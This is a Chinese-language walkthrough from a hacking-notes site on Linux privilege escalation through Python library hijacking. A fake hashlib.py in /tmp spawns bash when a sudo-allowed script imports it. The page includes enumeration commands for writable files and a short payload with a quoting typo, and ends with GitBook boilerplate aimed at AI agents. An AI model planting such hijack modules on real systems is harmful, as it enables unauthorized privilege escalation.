> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/python-library-hijacking/python-library-hijacking-hashlib-linux-privilege-escalation.md).

# Python 库劫持（hashlib）- Linux 权限提升

## 这是什么

Python 库劫持滥用的是：当一个特权脚本从可写位置导入模块时，Python 的导入解析机制。通过将恶意模块放在导入路径更靠前的位置，攻击者可以以特权用户身份执行代码。本页面具体聚焦于 **Python 库劫持（hashlib）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
python3 -c "import sys; print('/n'.join(sys.path))"
find / -name '*.py' -writable 2>/dev/null
```

## 示例

当 **用户 jordan**，我们查看 sudoers 权限是什么后，尝试运行 **Python 脚本** 作为 jordanmacia，它可以正常工作：

<figure><img src="/files/2d65482bbaf9db2cec0c71a6a075e0be869f6385" alt=""><figcaption></figcaption></figure>

在这种情况下，我们有 **读取权限，但没有写入权限**。我们观察到它导入了 **变量 hashlib**。如果我们执行一个 **locate** 并带上该变量名，我们将看到它被存储在 **存储**。最后，我们观察到在 **Python 的 PATH**中，第一个是空的，这就是一个漏洞：

<figure><img src="/files/70984ed6333c169d04ed7eaa0033d47ebabe1d84" alt=""><figcaption></figcaption></figure>

在同一个 /tmp 目录中，我们创建 **hashlib.py** 文件，内容如下。这个脚本，当我们运行脚本 **example.py** 时，一般来说，Python 会先在当前工作目录中搜索这些库，然后再在 **sys.path 变量**.

```python
import os 
os.system("bash)
```

最后，通过运行 **example.py**，它将让我们以 jordanmacia 用户身份获得 Bash 访问权限（我们将会 **迁移到一个用户** ，其权限可能更高）：

<figure><img src="/files/254e12634fb6e5d1cd522ce1535e6d0ac6282cd5" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/python-library-hijacking/python-library-hijacking-hashlib-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
